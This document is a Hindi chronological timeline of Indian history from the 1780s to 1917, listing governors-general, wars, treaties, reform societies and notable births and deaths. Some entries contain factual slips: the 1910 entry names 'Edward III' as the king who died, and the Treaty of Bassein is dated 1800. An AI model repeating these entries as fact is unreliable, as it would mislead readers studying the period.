वारेन हेस्टिंग्स का त्यागपत्र, पंजाब में सिखों का आधिपत्य, दिल्ली पर महादजी सिंधिया का अधिकार।
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367
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1786–1793 ई.
|
लॉर्ड कार्नवालिस बंगाल का गवर्नर-जनरल, गवर्नर-जनरल को अपने परिषद के निर्णय को निरस्त करने की व्यवस्था।
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368
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1787 ई.
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टीपू सुल्तान ने पेरिस और कुस्तुनतुनिया में दूत भेजा, मराठा, निज़ाम तथा टीपू के बीच सन्धि, मराठा लाभान्वित, विलियम विलबरफ़ोर्स द्वारा 'दासता-विरोधी लीग' की स्थापना।
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369
|
1788 ई.
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ग़ुलाम क़ादिर रुहिल्ला का दिल्ली पर क़ब्ज़ा, ग़ुलाम क़ादिर ख़ान द्वारा शाहआलम द्वितीय को नेत्रहीन बनाया गया, बेदार बख़्त दिल्ली की गद्दी पर आसीन।
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370
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1788–1795 ई.
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वारेन हेस्टिंग्स पर महाभियोग।
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371
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1789–90 ई.
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टीपू सुल्तान का श्रावणकोर पर अधिकार।
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372
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1789–1802 ई.
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मराठों का दिल्ली पर अधिकार।
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373
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1790–92 ई.
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तृतीय मैसूर युद्ध (टीपू सुल्तान और अंग्रेज़, मराठा की संयुक्त सेना के बीच)।
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374
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1792 ई.
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श्रीरंगपट्टनम की सन्धि के साथ तृतीय मैसूर युद्ध समाप्त, पंजाब में रणजीत सिंह सुकरचकिया-मिसल के मुखिया, जोनाथन डंकन द्वारा वाराणसी में राजकीय संस्कृत महाविद्यालय (बाद में संस्कृत विश्वविद्यालय) की स्थापना।
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375
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1793–1798 ई.
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बंगाल के गवर्नर-जनरल सर जॉन शोर का कार्यकाल।
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376
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1793 ई.
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बंगाल में भू-राजस्व का स्थायी बंदोबस्त, ब्रिटिश संसद द्वारा भारत में युद्ध नियंत्रण विधेयक पारित। पांण्डिचेरी पर अंग्रेज़ों का अधिकार, कम्पनी के चार्टर का नवीनीकरण।
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377
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1794 ई.
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पूना में महादजी सिंधिया (शिंदे) का निधन।
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378
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1795 ई.
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ख़र्दा के युद्ध में निज़ाम का मराठों के समक्ष समर्पण, इन्दौर की रानी अहिल्याबाई होल्कर का निधन, जोनाथन डंकन बम्बई का गवर्नर नियुक्त।
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379
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1796 ई.
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पेशवा माधवराव नारायण की मृत्यु, बाजीराव द्वितीय पेशवा नियुक्त, अंग्रेज़ों द्वारा श्रीलंका को डचों से मुक्त कराया गया।
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380
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1797 ई.
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अहमद शाह अब्दाली के पोते जमान शाह का पंजाब पर आक्रमण। लाहौर पर अधिकार। अवध में नवाब आसफ़उद्दौला की मृत्यु। वज़ीर अली नये नवाब (अवध), श्रीरंगपट्टनम में 60 फ़्राँसीसियों द्वारा 'जैकोबिन क्लब' की स्थापना।
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381
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1798–1805 ई.
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लॉर्ड वेलेजली बंगाल का गवर्नर-जनरल।
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382
|
1798 ई.
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आजिद अली को हटाकर सआदत अली अवध का नवाब बना, निज़ाम द्वारा आश्रम-सन्धि पर हस्ताक्षर, टीपू सुल्तान के विरुद्ध अंग्रेज़, पेशवा और निज़ाम में एकता, टीपू ने फ़्राँसीसी उपनिवेश मारिशस को दूत भेजा, नेपोलियन बोनापार्ट का मिस्र अभियान।
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383
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1799 ई.
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नेपोलियन बोनापार्ट के काहिरा से लिखे पत्र में टीपू सुल्तान को अंग्रेज़ों से मुक्ति दिलाने का आश्वासन। चौथे मैसूर युद्ध में टीपू की मृत्यु। मैसूर विभाजन। मैसूर राजवंशज कृष्णराज गद्दी पर आसीन। जमान शाह द्वारा रणजीत सिंह लाहौर का सूबेदार नियुक्त। मैल्कम के नेतृत्व में अंग्रेज़ दूतमंण्डल ईरान पहुँचा। विलियम केरी द्वारा सेरामपुर में बैप्टिस्ट मिशन स्थापित।
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384
|
1800 ई.
|
पेशवा और अंग्रेज़ों के बीच बसीन की सन्धि, अंग्रेज़ों द्वारा पेशवा पुनः पूना की गद्दी पर अधिष्ठापित।
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385
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1803 ई.
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द्वितीय आंग्ल मराठा युद्ध (1803-05) में मराठों की पराजय। अलीगढ़ पर अंग्रेज़ों का अधिकार। भोंसले के साथ ईस्ट इंडिया कम्पनी की 'देवगाँव की सन्धि' तथा सिंधिया के साथ 'सुर्जी अर्जुनगाँव की सन्धि'।
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386
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1804 ई.
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जसवंतराव होल्कर के साथ युद्ध में कर्नल मोन्सन पराजित। बादशाह शाहआलम द्वितीय ब्रिटिश संरक्षण के अधीन।
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387
|
1805 ई.
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अंग्रेज़ों का भरतपुर का घेरा असफल, लॉर्ड वेलेजली को इंग्लैंण्ड वापस बुलाया गया, लॉर्ड कार्नवालिस की मृत्यु, होल्कर के साथ सन्धि।
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388
|
1805–1807 ई.
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सर जॉर्ज बार्लो बंगाल का गवर्नर-जनरल।
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389
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1806 ई.
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अकबर द्वितीय शाहआलम द्वितीय का उत्तराधिकारी बना, वेल्लोर सैनिक विद्रोह।
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390
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1807–1813 ई.
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लॉर्ड मिण्टो प्रथम बंगाल का गवर्नर-जनरल।
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391
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1807–1808 ई.
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नेपोलियन की भारत पर संयुक्त फ़्राँसीसी-रूसी अभियान योजना।
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392
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1808 ई.
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मैल्कम के नेतृत्व में फ़ारस तथा एल्फिन्स्टन के नेतृत्व में काबुल के लिए अंग्रेज़ दूतमण्डल भेजा गया।
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393
|
1809 ई.
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अंग्रेज़ों और रणजीत सिंह के बीच 'अमृतसर की सन्धि' (25 अप्रैल)। सतलज पूर्व की पंजाबी रियासत अंग्रेज़ों के संरक्षण में। रणजीत सिंह शासक स्वीकृत।
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394
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1809–1811 ई.
|
रणजीत सिंह का कांगड़ा पर क़ब्ज़ा।
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395
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1813–1823 ई.
|
लॉर्ड हेस्टिंग्स बंगाल का गवर्नर-जनरल।
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396
|
1813 ई.
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ईस्ट इंडिया कम्पनी का चार्टर नवीनीकृत, शिक्षा पर सालाना एक लाख रुपये ख़र्च करने का प्रावधान।
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397
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1814–1816 ई.
|
नेपाल के साथ युद्ध। गोरखा तथा कम्पनी के बीच 'संगौली की सन्धि' (1816) में।
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398
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1815 ई.
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राममोहन राय द्वारा 'आत्मीय सभा' की स्थापना। वाटरलू का युद्ध।
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399
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1817 ई.
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कलकत्ता में 'हिन्दू कॉलेज' की स्थापना (डेविड हेयर तथा राममोहन राय द्वारा)।
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400
|
1817–1818 ई.
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सेरामपुर ईसाई मिशनरी संस्था द्वारा भारतीय भाषा (बांग्ला) में 'समाचार दर्पण' नाम का पहला साप्ताहिक प्रकाशित। पेशवा बाजीराव द्वितीय का समर्पण।
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401
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1819–1827 ई.
|
एलफिंस्टन बम्बई के गवर्नर।
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402
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1819 ई.
|
पेशवा पद की समाप्ति। ब्रिटिश वृत्तिभोगी की हैसियत से पेशवा बाजीराव द्वितीय को बिठूर निवास, राजपूताना के राजाओं के साथ सुरक्षात्मक सन्धि। तात्या टोपे का जन्म।
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403
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1820 ई.
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मुनरो मद्रास का गवर्नर बना। (दक्षिण भारत)
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404
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1821 ई.
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पूना में संस्कृत कॉलेज की स्थापना।
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405
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1822 ई.
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बम्बई में 'नेटिव एजुकेशन सोसाइटी' की स्थापना। 'बम्बई समाचार' प्रकाशित।
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406
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1823–1828 ई.
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लॉर्ड एमहर्स्ट बंगाल का गवर्नर-जनरल नियुक्त।
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407
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1823 ई.
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प्रेस आर्डिनेन्स के विरुद्ध राजाराममोहन राय का ज्ञापन। (इसके बाद कार्यवाहक गवर्नर-जनरल एडम्स ने मुद्रणालयों के लिए लाइसेंस अनिवार्य किया था)।
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408
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1824 ई.
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बैरकपुर में सैनिक विद्रोह (अधिक भत्ते की मांग पर)।
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409
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1824–26 ई.
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प्रथम आंग्ल-बर्मा युद्ध। याण्डबू की सन्धि। अराकान तथा तेनासरीम ब्रिटिश साम्राज्य में शामिल।
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410
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1824–1883 ई.
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स्वामी दयानन्द सरस्वती का जीवनकाल, आर्य समाज की स्थापना (1875 में)।
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411
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1825 ई.
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प्रसिद्ध स्वतंत्रता सेनानी दादाभाई नौरोजी का जन्म (4 सितम्बर)।
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412
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1826 ई.
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भरतपुर पर अंग्रेज़ों का अधिकार।
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413
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1827 ई.
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पहला वाष्पचालित युद्धपोत 'इंटरप्राइज' मद्रास पहुँचा। (दक्षिण भारत)
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414
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1828–1833 ई.
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लॉर्ड विलियम बैंटिक बंगाल का गवर्नर-जनरल।
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415
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1828 ई.
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राममोहन राय द्वारा 'ब्रह्म समाज की स्थापना'। ऐकेडमिक एसोसिएशन स्थापित।
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416
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1829 ई.
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लॉर्ड विलियम बैंटिक द्वारा सती प्रथा ग़ैरक़ानूनी घोषित।
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417
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1829–1837 ई.
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बैंटिक द्वारा ठगों का दमन।
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418
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1830 ई.
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राजा राममोहन राय द्वारा इंग्लैंण्ड भ्रमण। धर्मसभा द्वारा कलकत्ता में सती प्रथा पर प्रतिबन्ध लगाने के विरोध में सभा। ईश्वरचन्द्र गुप्ता द्वारा बंगाल मासिक 'संवाद प्रभाकर' प्रकाशित।
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419
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1831 ई.
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मैसूर का राजा पदच्युत। शासन ब्रिटिश सरकार के हाथ में, रोपड़ में लॉर्ड विलियम बैंटिक और रणजीत सिंह की भेंट।
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420
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1832 ई.
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असम के जैंतिया क्षेत्र पर अंग्रेज़ों का आधिपत्य।
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421
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1833 ई.
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ईस्ट इंडिया कम्पनी के चार्टर का नवीनीकरण, वैधानिक शक्ति का केन्द्रीयकरण। बंगाल का गवर्नर-जनरल पहली बार भारत के गवर्नर-जनरल के नाम से जाने लगा, भारतीय विधि आयोग की नियुक्ति, ब्रिटेन में दास-प्रथा पर प्रतिबंध लगाया गया।
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422
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1833–1835 ई.
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लॉर्ड विलियम बैंटिक भारत का गवर्नर-जनरल।
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423
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1834 ई.
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कुर्ग पर अंग्रेज़ों का आधिपत्य। लॉर्ड मैकाले सुप्रीम कौंसिल में पहला विधि सदस्य नियुक्त। सरकार द्वारा चाय बाग़ानों की स्थापना। आगरा प्रान्त की स्थापना।
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424
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1835–1836 ई.
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सर चार्ल्स मेटकॉफ़ कार्यकारी गवर्नर-जनरल।
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425
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1835 ई.
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मेटकॉफ़ द्वारा समाचार पत्रों पर से प्रतिबन्ध समाप्त। लॉर्ड मैकाले का शिक्षा नीति पर प्रस्ताव। अंग्रेज़ी (फ़ारसी के स्थान पर) पहली बार सरकारी भाषा बनी। कम्पनी ने पहली बार अपने सिक्के जारी किए (बिना मुग़ल सम्राट के नाम के)। कलकत्ता मेडिकल कॉलेज की स्थापना। कलकत्ता के हिन्दू कॉलेज में धर्मसभा के तत्वाधान में पश्चिमी ढंग की पहली सार्वजनिक सभा (30 जनवरी) जिसमें रामकमल सेन ने मांग की थी कि सभी ज़मीदारों तथा रैय्यतों के जीवन के मूलभूत सामाजिक आर्थिक प्रश्नों पर विचार-विमर्श करे।
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426
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1836–1842 ई.
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लॉर्ड आकलैण्ड गवर्नर-जनरल।
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427
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1837 ई.
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अकबर द्वितीय का उत्तराधिकारी बहादुरशाह द्वितीय 'जफ़र' गद्दी पर आसीन, महारानी विक्टोरिया गद्दी पर आसीन।
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428
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1838 ई.
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अफ़ग़ानिस्तान के भू. पू. शासक शाहशुजा, रणजीत सिंह तथा अंग्रेज़ों के बीच 'त्रिपक्षीय सन्धि'। काबुल-कंधार पर अंग्रेज़ों का अधिकार। 'कलकत्ता सोसाइटी फॉर द एक्यूजीशन आफ़ जनरल नालेज' नाम की साहित्यिक वैचारिक संस्था की स्थापना, केशवचन्द्र सेन का जन्म (19 नवम्बर)।
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429
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1839 ई.
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महाराजा रणजीत सिंह की मृत्यु। कलकत्ता तथा दिल्ली के बीच जी. टी. रोड का कार्य आरम्भ। अंग्रेज़ों द्वारा शाहशुजा को काबुल का अमीर (बाद में यूनाइटेड इंडिया एसोसियशन) की स्थापना (9 फ़रवरी)। लन्दन में ब्रिटिश इंडिया सोसाइटी की स्थापना।
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430
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1839–1842 ई.
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प्रथम आंग्ल-अफ़ग़ान युद्ध।
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431
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1840 ई.
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अफ़ग़ान कबाइलियों का विद्रोह, दोस्त मुहम्मद पदच्युत, मैन्चेस्टर में 'नार्दन सेंट्रल ब्रिटिश इंडिया सोसाइटी' की स्थापना।
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432
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1841 ई.
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कलकत्ता में 'देश हितेषणी सभा' की स्थापना (3 अक्टूबर)।
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433
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1841–1844 ई.
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लॉर्ड एलनबरो गवर्नर-जनरल।
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434
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1842 ई.
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अफ़ग़ानिस्तान में अंग्रेज़ी सेना का संहार। काबुल पर पुनः आधिपत्य। दोस्त मुहम्मद पुनः अमीर बना। एलनबरो की शिमला घोषणा। अफ़ग़ानिस्तान से अंग्रेज़ी सैनिक वापस।
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435
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1843 ई.
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सिन्ध पर अंग्रेज़ों का आधिपत्य। दासप्रथा पर प्रतिबन्ध। 'बंगाल ब्रिटिश इंडिया सोसाइटी' की स्थापना।
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436
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1844–1848 ई.
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लॉर्ड हार्डिंग गवर्नर-जनरल।
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437
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1844 ई.
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लॉर्ड हार्डिंग द्वारा सरकारी नौकरियों में अंग्रेज़ी शिक्षित भारतीयों को नियुक्ति देने का निर्णय। कांग्रेस नेता दिनशा एदुलजी वाचा का जन्म।
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438
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1845–46 ई.
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प्रथम आंग्ल-सिख युद्ध में सिख पराजित।
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439
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1846
|
अंग्रेज़ों तथा सिखों के बीच लाहौर की सन्धि।
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440
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1847 ई.
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रुड़की में प्रथम इंजीनियरिंग कॉलेज की स्थापना।
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441
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1848–1856 ई.
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लॉर्ड डलहौज़ी गवर्नर-जनरल।
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442
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1848 ई.
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सतारा ब्रिटिश साम्राज्य में सम्मिलित। गोद लेने की प्रथा पर प्रतिबन्ध। बम्बई में 'स्टूडेंट्स लिटरेरी एंड साइंटिफिक सोसाइटी' की स्थापना।
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443
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1848–1849 ई.
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दूसरे आंग्ल सिख युद्ध में सिख पराजित।
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444
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1849 ई.
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पंजाब, जैतपुरा तथा संभलपुर का ब्रिटिश साम्राज्य में विलय। कलकत्ता में बेथुन द्वारा पहली कन्या पाठशाला की स्थापना। डलहौज़ी द्वारा मुग़ल राजवंश की समाप्ति पर विचार।
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445
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1850 ई.
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सिक्किम का एक भाग अंग्रेज़ों के क़ब्ज़े में।
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446
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1851 ई.
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कलकत्ता में 'ब्रिटिश इंडियन एसोसियशन' की स्थापना।
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447
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1852 ई.
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द्वितीय आंग्ल-बर्मा युद्ध। रंगून (वर्तमान यांगून) तथा पेगू पर आधिपत्य। भूतपूर्व पेशवा बाजीराव द्वितीय की मृत्यु तथा उसकी पेंशन समाप्त। पूना में 'दक्कन एजुकेशन सोसायटी' की स्थापना। निज़ाम द्वारा बरार अंग्रेज़ों का समर्पित। कम्पनी के चार्टर का नवीनीकरण तथा पहली बार आई सी एस. (भारतीय प्रशासनिक सेवा) परीक्षा प्रारम्भ। सस्ती डाक सेवा प्रारम्भ।
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448
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1854 ई.
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बंगाल में नील विद्रोह।
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449
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1855 ई.
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संथाल विद्रोह। पटसन उद्योग की शुरुआत। कलकत्ता में 'अंजुमने इस्लामी' (या मोहम्मडन एसोसिएशन) की स्थापना (मई 6)।
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450
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1856 ई.
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अवध ब्रिटिश साम्राज्य में सम्मिलित। भारतीय विश्वविद्यालय अधिनियम। बंगाल विधान परिषद् द्वारा हिन्दू विधवा पुनर्विवाह अधिनियम पारित। यूरोप में क्रीमिया युद्ध समाप्त। भारतीय सैनिकों को इनफील्ड रायफल और चर्बीयुक्त कारतूस प्रयोग के लिए दिये गये। कलकत्ता में इंजीनियरिंग कॉलेज की स्थापना।
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451
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1856–62 ई.
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लॉर्ड कैनिंग गवर्नर-जनरल।
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452
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1857 ई.
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कलकत्ता, बम्बई तथा मद्रास विश्वविद्यालयों की स्थापना। 1857 का विद्रोह, केशवचन्द्र सेन ब्रह्म समाज में शामिल, मंगल पाण्डे द्वारा लेफ्टिनेंट बाग़ की गोली मारकर हत्या।
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453
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1858 ई.
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भारत का शासन ईस्ट इंडिया कम्पनी से ब्रिटिश सरकार के हाथों में। महारानी विक्टोरिया का घोषणा पत्र। लॉर्ड कैनिंग को वायसराय की एक अतिरिक्त उपाधि (तत्पश्चात् गवर्नर जनरल के साथ वायसराय का भी प्रयोग प्रारम्भ)। समाज सुधारक डी. के. कर्वे का जन्म (18 अप्रैल)। जगदीश चन्द्र बोस का जन्म (30 नवम्बर), लखनऊ पर अंग्रेज़ों का पुनः अधिकार।
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454
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1859 ई.
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गोद-प्रथा की समाप्ति की घोषणा रद्द। बंगाल में नील विद्रोह। कस्तूरी रंगा आयंगर का जन्म (15 दिसम्बर)। जेम्स विल्सन (सुप्रीम कौंसिल का प्रथम वित्त सदस्य) द्वारा आयकर लागू। काग़ज़ के नोट जारी।
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455
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1861 ई.
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भारतीय परिषद् अधिनियम तथा भारतीय हाईकोर्ट्स अधिनियम लागू। आर्कियोलाजिकल सर्वे आफ़ इंडिया (ए. एस. आई.) का गठन। दीनबंधु मित्र का नाटक 'नील-दर्पण' प्रकाशित। रवीन्द्रनाथ ठाकुर का जन्म।
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456
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1862 ई.
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सदर न्यायालय उच्च न्यायालयों के साथ एकीकृत। भारतीय दंड संहिता लागू।
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457
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1862–63 ई.
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लॉर्ड एल्गिन प्रथम का वायसराय काल।
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458
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1863 ई.
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कलकत्ता में अब्दुल लतीफ़ की प्रेरणा से 'मोहम्मडन एसोसिएशन' की स्थापना। पटना कॉलेज की स्थापना।
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459
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1863–1902 ई.
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स्वामी विवेकानन्द।
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460
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1864–69 ई.
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सर जॉन लारेंस वायसराय।
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461
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1864 ई.
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सैय्यद अहमद द्वारा 'मोहम्मडन साइंटिफिक सोसायटी' की स्थापना। मद्रास में ब्रह्मसमाज की प्रेरणा से समान उद्देश्यों वाली संस्था स्थापित। बंकिमचन्द्र चटर्जी द्वारा 'दुर्गेश नन्दनी' उपन्यास की रचना। (दक्षिण भारत)
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462
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1865 ई.
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यूरोप के साथ दूर संचार व्यवस्था का उदघाटन। उड़ीसा में दुर्भिक्ष।
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463
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1866 ई.
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केशवचन्द्र सेन द्वारा 'भारतीय ब्रह्म समाज' की स्थापना। गोपाल कृष्ण गोखले का जन्म। 'ईस्ट इंडिया एसोसिएशन' की स्थापना तथा बाद में 'लन्दन इंडिया सोसाइटी' का इसमें विलेय।
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464
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1867 ई.
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ब्रह्मसमाज की प्रेरणा से बम्बई में प्रार्थना समाज की स्थापना। नवगोपाल मित्र द्वारा कलकत्ता में स्वदेशी वस्तुओं के प्रचार के लिए वार्षिक मेले का उदघाटन। आयकर पुनः लागू किए जाने का विरोध। 'पूना सार्वजनिक सभा: स्थापित।
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465
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1868 ई.
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अम्बाला से दिल्ली तक रेलवे लाइन का उदघाटन। शिशिर कुमार घोष द्वारा 'अमृत बाज़ार पत्रिका' प्रकाशित। भारत का प्रथम संध्या समाचार पत्र 'मद्रास-मेल' प्रकाशित।
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467
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1869–72 ई.
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लॉर्ड मेयो का वायसराय काल।
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468
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1869 ई.
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ड्यूक आफ़ एडिनबरा की भारत यात्रा। स्वेज नहर का उदघाटन। महात्मा गांधी का जन्म। ठक्कर बापा का जन्म।
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469
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1870 ई.
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मेयो का प्रान्तीय बंदोबस्त। लाल सागर टेलीग्राफ़ की शुरुआत। देशबन्धु चितरंजनदास का जन्म (5 नवम्बर)। महादेव गोविन्द रानाडे प्रार्थना सभा में शामिल।
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470
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1872 ई.
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कूका विद्रोह। लॉर्ड मेयो की हत्या (पोर्ट ब्लेयर में)। आनन्द मोहन बोस द्वारा लन्दन में 'इंडियन सोसायटी' की स्थापना। जनगणना प्रारम्भ।
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471
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1872–76 ई.
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लॉर्ड नार्थब्रुक वायसराय।
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472
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1873 ई.
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लाहौर में स्वदेशी वस्तुओं के प्रचार के लिए 'स्वदेशी सभा' स्थापित।
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473
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1874 ई.
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बिहार में दुर्भिक्ष।
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474
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1875 ई.
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स्वामी दयानन्द सरस्वती द्वारा 'आर्य समाज' की स्थापना। प्रिंस आफ़ वेल्स एडवर्ड की भारत यात्रा। सैय्यद अहमद ख़ान द्वारा 'मोहम्मडन ऐंग्लो-ओरिएन्टल कॉलेज' (अलीगढ़) की स्थापना। अजमेर में 'मेयो कॉलेज' की स्थापना। अमेरिका में थियोसॉफिकल सोसायटी की स्थापना। कलकत्ता में 'इंडिया लीग' की स्थापना।
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475
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1876–80 ई.
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लॉर्ड लिटन प्रथम का वायसराय काल।
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476
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1876 ई.
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क्केटा पर अंग्रेज़ी सेना का अधिकार। कलकत्ता में 'इंडियन एसोसिएशन' की स्थापना। आई.सी.एस. (भारतीय प्रशासनिक सेवा) परीक्षा में शामिल होने के लिए आयु सीमा में कटौती।
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477
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1877 ई.
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लॉर्ड लिटन का दिल्ली दरबार। महारानी विक्टोरिया भारत की साम्राज्ञी घोषित। सुरेन्द्रनाथ बनर्जी द्वारा दिल्ली में 'दिल्ली दरबार' के अवसर पर पहली 'नेटिव प्रेस ऐसोसिएशन' की स्थापना (वे स्वयं इसके सचिव बने)। आई.सी.एस. की परीक्षा लन्दन के साथ-साथ भारत में भी आयोजित किए जाने की मांग। सैय्यद अमीर अली ने 'नेशनल मोहम्मडन एसोसिएशन' की स्थापना की।
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478
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1878 ई.
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लिटन का वर्नाक्यूलर प्रेस एक्ट लागू, दूसरा अफ़ग़ान युद्ध आरम्भ। कलकत्ता में भारतीय पत्रकारों की 'नेटिव प्रेस कांफ्रेंस' का पहला सम्मेलन। 'साधारण ब्रह्म समाज' की स्थापना।
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479
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1879 ई.
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अडयार (मद्रास) में मैडम ब्लावत्सकी (रूसी) तथा कर्नल अल्कॉट (अमेरिका) द्वारा 'थियोसोफ़िकल सोसाइटी' की स्थापना। चक्रवर्ती राजगोपालाचारी का जन्म (7 दिसम्बर)। लिटन द्वारा इंग्लैंण्ड से आयातित सूती माल पर आयात कर हटाया गया।
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480
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1880–84 ई.
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दुर्भिक्ष आयोग की स्थापना। अफ़ग़ानिस्तान के प्रति ब्रिटिश नीति में परिवर्तन। डॉ. पट्टाभि सीतारमैय्या का जन्म (24 दिसम्बर)।
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481
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1881 ई.
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पहला फैक्ट्री अधिनियम। मैसूर राज्य उसके मूल शासकों को सौंपा गया। 'ट्रबियून', 'केसरी' तथा 'मराठा' का प्रकाशन।
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482
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1882 ई.
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वर्नाक्यूलर प्रेस एक्ट निरस्त। हंटर आयोग, भारतीय शिक्षा आयोग, पंजाब विश्वविद्यालय की स्थापना। सूरत में 'प्रजाहितवर्धक सभा' का गठन, पुरुषोत्तम दास टंडन का जन्म।
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483
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1883 ई.
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इल्बर्ट बिल गवर्नर-जनरल की विधान परिषद् में प्रस्तुत। भारतीय राष्ट्रीय सम्मेलन का आयोजन।
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484
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1884–88 ई.
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लॉर्ड डफ़रिन वायसराय।
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485
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1884 ई.
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केशवचन्द्र सेन की मृत्यु (8 जनवरी)। डॉ. राजेन्द्र प्रसाद का जन्म (3 दिसम्बर)। मद्रास में 'महाजन सभा' स्थापित। (दक्षिण भारत)
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486
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1885 ई.
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भारतीय राष्ट्रीय कांग्रेस की स्थापना तथा पहला अधिवेशन बम्बई के गोकुलदास तेजपाल संस्कृत स्कूल में। बंगाल टेनेंसी एक्ट पारित, बंगाल स्थानीय स्वशासन। अधिनियम पारित, आंग्ल-बर्मा युद्ध। बम्बई प्रेसीडेन्सी एसोसिएशन की स्थापना।
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487
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1886 ई.
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उत्तरी बर्मा का ब्रिटिश साम्राज्य में विलय। अफ़ग़ानिस्तान की उत्तरी सीमा का निर्धारण। रामकृष्ण परमहंस की मृत्यु। कांग्रेस के दूसरे अधिवेशन में पंजाब के प्रतिनिधि लाला मुरलीधर का हिन्दी में भाषण। कांग्रेस के मंच से हिन्दी में यह पहला भाषण था।
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488
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1887 ई.
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महारानी विक्टोरिया के शासनकाल की स्वर्ण जयन्ती। इलाहाबाद विश्वविद्यालय की स्थापना। शिवनारायण अग्निहोत्री द्वारा 'देव समाज' की स्थापना।
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489
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1888 ई.
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कर्नल थियोडोर बैंक द्वारा 'यूनाइटेड इंडियन पैट्रियॉटिक एसोसिएशन' की स्थापना।
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490
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1888–94 ई.
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लॉर्ड लैन्सडाउन वायसराय।
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491
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1889 ई.
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प्रिंस आफ़ वेल्स की भारत की दूसरी यात्रा। जमनालाल बजाज, खुदीराम बोस तथा जवाहरलाल नेहरू का जन्म।
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492
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1891 ई.
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द्वितीय फैक्ट्री अधिनियम। सहवास वर्ष अधिनियम (एज ऑफ़ कॉनसेन्ट एक्ट), मणिपुर में विद्रोह, डॉ. भीमराव अम्बेडकर का जन्म (14 अप्रैल)।
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493
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1892 ई.
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भारतीय परिषद् अधिनियम, चुनाव की प्रणाली निर्धारत।
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494
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1893 ई.
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एनी बेसेन्ट का भारत आगमन, स्वामी विवेकानन्द शिकांगो सम्मेलन के लिए अमेरिका रवाना।
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495
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1894 ई.
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नटाल (दक्षिण अफ़्रीका) में भारतीय राष्ट्रीय कांग्रेस की स्थापना (कांग्रेस के लाहौर (1893) अधिवेशन से प्रभावित होकर)।
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496
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1894–99 ई.
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लॉर्ड एल्गिन द्वितीय का वायसराय काल।
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497
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1896 ई.
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बम्बई में प्लेग।
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498
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1897 ई.
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भारतीय शिक्षा सेवा का गठन। सुभाषचन्द्र बोस का जन्म। लोकमान्य तिलक को शिवाजी से सम्बोधित देश के भक्ति के पद्य लिखने के आरोप में 18 माह की कड़ी क़ैद।
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499
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1898 ई.
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'प्रार्थना समाज' (बम्बई) द्वारा एक दलित वर्ग मिशन प्रारम्भ।
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500
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1899–1905 ई.
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लॉर्ड कर्ज़न वायसराय।
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501
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1900 ई.
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भूमि स्वामित्व-परिषद् अधिनियम, दुर्भिक्ष आयोग, कांग्रेस के मंच से पहली महिला श्रीमती कादम्बिनी गांगुली का भाषण।
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502
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1901 ई.
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महारानी विक्टोरिया की मृत्यु, एडवर्ड सप्तम सिंहासनारूढ़, उत्तर-पश्चिम सीमा प्रान्त का गठन।
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503
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1904 ई.
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कोआपरेटिव सोसायटी अधिनियम, पुरातत्त्व विभाग की स्थापना, भारतीय विश्वविद्यालय अधिनियम, जतीन्द्रदास का जन्म।
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504
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1905 ई.
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बंगाल विभाजन, लॉर्ड मार्ले भारतीय मामलों के सचिव नियुक्त।
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505
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1905–10 ई.
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लॉर्ड मिण्टो द्वितीय का वायसराय काल।
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506
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1906 ई.
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कांग्रेस (कलकत्ता अधिवेशन) मंच से दादाभाई नौरोजी द्वारा 'स्वराज' शब्द का पहली बार प्रयोग। ढाका में 'मुस्लिम लीग' की स्थापना।
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507
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1907 ई.
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सूरत अधिवेशन में कांग्रेस विभाजित। एनी बेसेन्ट थियोसोफिकल सोसायटी की अध्यक्ष बनी। टाटा इस्पात कारखाने से इस्पात का उत्पादन प्रारम्भ।
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508
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1908 ई.
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समाचार पत्र अधिनियम। खुदीराम बोस को फाँसी। तिलक पर राजद्रोह का मुकदमा।
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509
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1909 ई.
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मॉर्ले मिण्टो सुधार। भारतीय परिषद् अधिनियम पारित। वायसराय के कार्यकारी परिषद् में प्रथम भारतीय (एच. पी. सिन्हा) की नियुक्ती। मदन लाल धींगरा द्वारा लन्दन में कर्ज़न वाइली की हत्या। दक्षिण अफ़्रीका जाते हुए जहाज़ पर गाँधी जी ने 30 हज़ार शब्दों की 'हिन्दी स्वराज' नामक पुस्तक लिखी।
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510
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1910–16 ई.
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लॉर्ड हार्डिंग द्वितीय का वायसराय काल।
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511
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1910 ई.
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एडवर्ड तृतीय की मृत्यु, जार्ज पंचम सिंहासनारूढ़।
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512
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1911 ई.
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द्वितीय दिल्ली दरबार। सम्राट जार्ज पंचम की भारत यात्रा। बंगाल विभाजन रद्द। राजधानी कलकत्ता से दिल्ली स्थानान्तरित करने की घोषणा। जनगणना।
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513
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1912 ई.
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राजधानी कलकत्ता से दिल्ली स्थानान्तरित। दिल्ली प्रान्त का गठन। लॉर्ड हार्डिंग दिल्ली में बम विस्फोट में घायल। जवाहर लाल नेहरू पहली बार कांग्रेस अधिवेशन (बांकीपुर) में उपस्थित। इंस्लिंग्टन कमीशन का गठन। अबुलकलाम आज़ाद द्वारा 'अल-हिलाल' अख़बार प्रकाशित।
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514
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1913 ई.
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रवीन्द्रनाथ टैगोर को नोबेल पुरस्कार। फ़िरोजशाह मेहता द्वारा 'द बम्बई क्रॉनिकल' की शुरुआत। सैन फ़्राँसिस्को में गदर पार्टी का गठन।
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515
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1914 ई.
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तिलक मांडले जेल से रिहा। 'फॉरेस्ट रिसर्च इंस्टीट्यूट' की स्थापना। पनामा नहर की शुरुआत। एनी बेसेन्ट द्वारा 'न्यू इंडिया' प्रकाशित।
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516
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1914–18 ई.
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प्रथम विश्व युद्ध। ब्रिटेन द्वारा तुर्की के विरुद्ध हमला।
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517
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1915 ई.
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भारतीय सुरक्षा अधिनियम। गाँधी जी दक्षिण अफ़्रीका से लौटे। अहमदाबाद में सत्याग्रह आश्रम की स्थापना। गोपाल कृष्ण गोखले का निधन। एनी बेसेन्ट द्वारा 'होमरूल लीग' के गठन की घोषणा (25 सितम्बर)।
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518
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1916 ई.
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लोकमान्य तिलक द्वारा 'होमरूल लीग' की स्थापना (26 अप्रैल)। कांग्रेस-मुस्लिम लीग के बीच 'लखनऊ समझौता'। पूना में प्रथम महिला विश्वविद्यालय की स्थापना। बनारस हिन्दू विश्वविद्यालय की स्थापना। दादाभाई नौरोजी का निधन।
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519
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1916–1921 ई.
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लॉर्ड चेम्सफोर्ड का वायसराय काल।
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520
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1917 ई.
